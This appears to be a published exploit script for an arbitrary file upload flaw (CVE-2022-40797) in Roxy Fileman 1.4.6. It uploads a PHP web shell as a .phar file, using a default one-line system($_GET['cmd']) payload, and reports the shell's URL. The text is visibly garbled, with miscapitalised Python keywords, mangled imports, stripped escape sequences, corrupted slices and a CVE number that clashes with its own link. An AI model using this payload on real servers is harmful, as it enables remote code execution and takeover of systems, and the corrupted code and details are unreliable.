# Exploit Title Roxy Fileman (= 1.4.6)
# Date: 11/12/2022
# Exploit Author: Hadi Mene
# Vendor Homepage: roxyfileman.com
# Software Link: https://web.archive.org/web/20210126213412/https://roxyfileman.com/download.php?f=1.4.6-php
# Version: <= 1.4.6
# Ubuntu 18.04: Tested
# CVE: CVE-202-20797
# https://nvd.nist.gov/vuln/detail/CVE-2022-40797
Import requests
OptionParser import from optparse
From os.path, import basename
banner = ‘#################################################n’
Banner += ‘# Roxy Fileman #n
banner = ‘#tttt#n
banner += ‘#tCVE-2022-40797 exploit codett#n’
banner = ‘#tttt#n
banner = ‘#tttt#n
banner += ‘# Author : Hadi Mene t#n’
banner = ‘#tttt#n
banner += ‘#################################################n’
parser = OptionParser()
parser.add_option(“-u”, “–url”, dest=”url”,
Help=”url for roxyfileman installation”
parser.add_option(“-s”, “–shell”,dest=”shell”, default=False,
Help=”path to the PHP shell, if not specified defaut shell is uploaded”)
(options, args) = parser.parse_args()
If options.url is not None
parser.error (‘URL is needed use -h to help’).
URL = Options.url
#It appears that some apps have an “/” at the end of their URLs. This breaks the exploit code
If (url.endswith (‘/’)):
URL = url[?-1] # We delete the ‘/’
webroot = options.url.split(‘/’)[3:]
webroot = ‘/’+ ‘/’. join(webroot).
if (webroot.endswith(‘/’)):
webroot = webroot[?:-1]
webroot = webroot+ ‘/Uploads’
If you have other options
shell = open(options.shell,’r’).read()
filename = basename(options.shell)
filename = filename.split(‘. ‘)[0]
else:
# default shell
Shell = “?php system?($_GET[?cmd ‘]);?]”
filename = ‘shell’
{headers = Headers =
‘Host’: (url.split(‘/’)[2]),
‘User-Agent’: ‘Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0’,
‘Accept’: ‘*/*’,
‘Accept-Language’: ‘en-US,en;q=0.5’,
‘Content-Type’: ‘multipart/form-data; boundary=—————————39556237418830295983527604767’,
‘Origin’: (url.split(‘/’)[2]),
‘Connection’: ‘close’,
}
data = ‘—————————–39556237418830295983527604767rnContent-Disposition: form-data; name=”action”rnrnuploadrn—————————–39556237418830295983527604767rnContent-Disposition: form-data; name=”method”rnrnajaxrn—————————–39556237418830295983527604767rnContent-Disposition: form-data; name=”d”rnrn’+(webroot)+’rn—————————–39556237418830295983527604767rnContent-Disposition: form-data; name=”files[]”; filename=”‘+(filename)+’.phar”rnContent-Type: text/plainrnrn’+shell+’nrn—————————–39556237418830295983527604767–rn’
#We verify that a file with the exact same name is not already present
#because Roxy does not overwrite files, instead it changes filenames of newly uploaded files
if ‘href=”‘+filename+’.phar”‘ in (requests.get(url+’/Uploads/’).text):
Already_uploaded = True
else:
Already_uploaded = False
# File upload
req = requests.post(url+’/php/upload.php’, headers=headers, data=data, verify=False)
Response = (req.text).
print(banner)
if ‘”res”:”ok”,”msg”:””‘ in (response):
# Success
Print(“File Uploaded Successfully !!!’)
If already_uploaded
Print(“A file with the identical filename is already stored on the server
print(‘URL: ‘+url+’/Uploads/’+(filename)+’ – Copy X.phar ‘)
else:
print(‘URL: ‘+url+’/Uploads/’+(filename)+’.phar’)
else:
# failure
Print(‘Shell Upload Failed :(((‘).
print(response) #debug